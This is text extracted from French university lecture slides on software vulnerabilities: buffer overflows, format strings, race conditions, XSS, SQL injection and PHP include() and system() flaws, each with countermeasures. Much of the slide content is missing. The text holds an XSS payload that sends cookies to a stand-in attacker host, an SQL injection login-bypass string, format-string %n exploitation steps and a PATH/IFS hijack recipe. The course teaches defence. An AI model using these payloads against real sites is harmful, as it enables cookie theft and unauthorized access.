Académique Documents
Professionnel Documents
Culture Documents
Nicolas Baudru
mél : nicolas.baudru@esil.univmed.fr
page web : nicolas.baudru.esil.perso.univmed.fr
1
Mise en garde
L’utilisation des différentes attaques décrites dans ce cours peut être sanctionnée
jusqu’à trois ans de prison et soixante quinze mille euros d’amende.
2
Introduction
3
Introduction
Aucun système ne peut être parfaitement sûr car ses utilisateurs ne le sont pas.
å il est nécessaire de protéger chaque utilisateur des autres, ce qui conduit au
principe de division des privilèges.
4
Introduction
Vulnérabilités applicatives
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
6
Vulnérabilité des mots de passe
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
7
Vulnérabilité des mots de passe
Remarque : l’authentification peut être obtenue par d’autres mécanismes tels que
les systèmes à cartes à puce (souvent couplés avec un mot de passe) ou la
biométrie.
8
Vulnérabilité des mots de passe
“login = UID”
+ Un UID est un nombre entier non signé sur 16 bits (en général). A chaque
UID est associé un mot de passe utilisateur. Le triplet <nom d’utilisateur / UID /
mot de passe> était traditionnellement enregistré dans le fichier /etc/passwd :
I ce fichier est lisible par tous ;
I les mots de passe y sont encodés (généralement par la méthode DES) ;
I les mots de passe sont vulnérables aux attaques par dictionnaire.
La chaîne key (le mot de passe) est utilisée pour chiffrer suivant l’algorithme DES
un bloc de 64 bits tous mis à 0.
10
Vulnérabilité des mots de passe
11
Vulnérabilité des mots de passe
12
Buffer overflow
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
13
Buffer overflow
Présentation
Elle consiste à faire déborder un tampon sur la pile afin d’injecter (et exécuter) du
code malveillant.
Pour que cette faille aparaîsse, il suffit que le programmeur stocke ses données
dans un tableau sans en vérifier la longueur.
L’exemple suivant est décrit en détaille dans l’article intitulé “Dépassement de pile
sous Linux x86” disponible sur le site www.hakin9.com.
14
Buffer overflow
Dépassement de tableau
Exemple :
Se programme peut provoquer à
l’exécution un “segmentation fault”.
I Pourquoi ?
I À quel moment de l’exécution
exactement ?
15
Buffer overflow
16
Buffer overflow
17
Buffer overflow
18
Buffer overflow
19
Buffer overflow
20
Buffer overflow
Exploiter la faille
C’est ici qu’est la faille. En effet en choisissant bien l’entrée, on peut écraser
l’adresse de retour par une autre adresse valide pointant sur une case du buffer.
21
Buffer overflow
Puisque cette instruction doit être placée directement dans la pile, on va générer
du code assembleur de cette instruction, par exemple :
22
Buffer overflow
23
Buffer overflow
Au niveau de l’application :
I toujours vérifier la longueur des données reçues
å utiliser les fonctions avec contrôle de longueur :
gets(str) → fgets(stdin, str, 10)
scanf(%s, str) → scanf(%10s, str)
Au niveau du compilateur :
I changer l’emplacement du buffer à chaque démarage du programme.
I placer un canary devant chaque adresse de retour.
Au niveau de l’OS :
I la pile peut être rendue non exécutable.
Exemple : patch PaX pour Linux ; dans Solaris, ajout dans /etc/system des
lignes :
set noexec_user_stack=1
set noexec_user_stack_log=1
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
25
Format string
Chaînes de format
Exemple :
26
Format string
27
Format string
28
Format string
Exemple :
29
Format string
direction de la pile
30
Format string
Oublier des arguments dans printf() peut provoquer des erreurs à l’exécution !
Exemple :
31
Format string
Oublier des arguments dans printf() peut provoquer des erreurs à l’exécution !
32
Format string
La faille
... ...
direction de la pile
-- ETAPE 1 -- -- ETAPE 2 --
mettre dans la pile l'adresse appeler la fonction printf() avec
de la variable nb une chaîne de format "assez longue" du type
%x %x ... %x %n
33
Format string
Exploiter la faille
34
Format string
Mise en oeuvre
0
direction de la pile
0
0
0x8fe34eb3
0
0xbffffc4a
pointeur vers la chaîne de
format
Remarques :
1. La commande shell echo -e '\xbf\x\xf1\x6c' ...
2. Les apostrophes inverses (‘ ‘). . .
3. Attention à l’architecture “little endian”
4. L’adresse de la variable nb a changé à cause de la longueur de la chaîne de
caractères f.
37
Format string
Remarques :
1. Le spécificateur %8$x permet d’afficher directement le 8ième argument
2. On a mis à jour l’entrée en tenant compte de la nouvelle adresse et de
l’architecture “little endian”.
3. Le 8ième argument est bien l’adresse de nb .
38
Format string
direction de la pile
???
???
???
???
???
pointeur vers la chaîne de
format
40
Format string
Remarques :
I L’ajout de caractères peut modifier l’endroit où est stockée la variable nb .
I Cette méthode est limitée par la taille du tableau f[2560].
41
Format string
Remarques :
I L’ajout de caractères peut modifier l’endroit où est stockée la variable nb .
I Méthode pas très subtile.
42
Format string
43
Format string
variables locales
du main() f
direction des adresses
0Xbffffbab
direction de la pile
0Xbffffbac f 0Xbffffbaa a4
nb 0Xbffffba9 bc
0Xbffffba8 7f
0Xbffffba8
44
Format string
variables locales
du main()
0
0 0
variable f
0 0 0
0Xbffffbab f 0 0 0 f
0Xbffffbaa a4 0 0 a4 entier à
0Xbffffba9 bc 0 bc entier à l'adresse
7f 7f 0Xbffffbab
entier nb à entier à l'adresse
l'adresse 0Xbffffbaa
l'adresse entier à
0Xbffffba8 l'adresse 0Xbffffba9
0Xbffffba8
45
Format string
variables locales
du main()
0Xbffffbab
variable f 0Xbffffbaa 0
0Xbffffba9 0 0
0Xbffffba8 0 0 0
0Xbffffbac
0 0 0 f
variable nb 0 0 a4 entier à
0 bc entier à l'adresse
7f 0Xbffffbab
entier à l'adresse
0Xbffffba8 0Xbffffbaa
entier à l'adresse
l'adresse 0Xbffffba9
0Xbffffba8
pointeur vers la
chaîne de
format
adresse de
retour de printf
46
Format string
Remarque :
I L’ajout de caractères a modifié l’endroit où est stockée la variable .
nb
47
Format string
Exemple :
(...)
(...)
(...) printf(ch);
variable ch contenant
variable ch (...)
notre chaîne de format
(...) fonction_lib(ch);
(...)
(...)
Se protéger
+ Au niveau de l’application :
I attention aux erreurs qui permettent de transmettre une chaîne de format
I quelques outils existent pour se protéger contre ce type de vulnérabilité :
I pscan,
I Flawfinder,
I RATS,
I ITS4,
I ...
49
Race condition
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
50
Race condition
Présentation
+ Cette faille devient redoutable lorsque le lien pointe vers un fichier système
critique (du style /etc/shadow) et que l’application est setuid root.
51
Race condition
52
Race condition
Exemple :
À l’exécution :
53
Race condition
Un premier test...
54
Race condition
Remarque : dans le cas d’un fichier temporaire, l’application doit être tuée avant
qu’elle n’efface ce fichier.
55
Race condition
56
Race condition
Race condition
57
Race condition
Augmenter la sécurité
58
XSS
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
59
XSS
Présentation
60
XSS
+ La plupart des navigateurs modernes interprètent des scripts contenus dans les
pages web tels que JavaScript, VBScript, ActiveX ou Flash par l’intermédiaire des
balises HTML suivantes :
<SCRIPT> <OBJECT> <APPLET> <EMBED>.
Conséquence : il est possible d’injecter du code arbitraire dans la page web, afin
que celui-ci soit exécuté sur le poste de l’utilisateur.
61
XSS
Exemple :
62
XSS
Exemple :
<SCRIPT>
document.location='http ://site.pirate/voleCookie.php ?cookie='+document.cookie
</SCRIPT>
%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e...
63
XSS
+ Faille permanente :
I apparaît lorsque les données entrées par un utilisateur sont stockées sur un
serveur, puis réaffichées (ex : blog, forums, etc) ;
I Cette attaque est très puissante puisqu’elle touche un grand nombre de
personnes simultanément sans avoir recours à l’ingénierie sociale.
64
XSS
Exemple
65
XSS
+ Chez l’utilisateur :
Désactiver l’exécution des langages de scripts. (Très contraignant mais efficace).
66
Injection SQL
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
67
Injection SQL
Présentation
+ Faille touchant les sites Webs interagissant de manière non sécurisée avec une
base de données. Son principe est de détourner les requêtes SQL pour obtenir par
exemple :
I un accès à des pages ou des données confidentielles ;
I créer des fichiers sur le serveur ;
I obtenir des informations sur le serveur ou les bases de données.
68
Injection SQL
Exemple :
Où est la faille ?
69
Injection SQL
a' OR 'a'='a'#
+ Sécuriser la faille :
I utiliser l’URL rewriting ;
I utiliser la fonction mysql_real_escape_string(), fournie par l’API, pour
échapper les caractères ;
I ne pas oublier de mettre des “ ’ ” même autour des nombres.
70
Faille include()
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
71
Faille include()
Présentation
+ C’est une faille PHP très connue due à une erreur de programmation, qui
exploite les fonctions du type include(), require(), . . .
Exemple :
72
Faille include()
Exploiter la faille
73
Faille include()
Se protéger
+ Sécuriser la faille :
I toujours vérifier si les pages à inclure sont bien sur le serveur ;
I encore mieux : créer un tableau répertoriant les pages que l’on peut inclure.
74
Faille system()
Plan
2 Buffer overflow
3 Format string
4 Race condition
5 XSS
6 Injection SQL
7 Faille include()
8 Faille system()
75
Faille system()
Présentation
+ Sur certaines versions Linux, cela crée une vulnérabilité dès lors que le
programme appelant la fonction system() est Set-UID.
76
Faille system()
Exploiter la faille
+ Rappels :
I La variable PATH contient une liste de répertoires où rechercher un
programme séparés par “ :”.
PATH=/bin :/usr/bin :/home/bob
+ La faille :
Si la fonction system() fait appel à un programme /bin/Prog1 alors il suffit de
I créer un programme bin dans notre répertoire courant,
I placer le répertoire courant au début de la variable PATH ,
I modifier la variable IFS pour que le séparateur d’arguments soit “/”.
77
Faille system()
Se protéger
78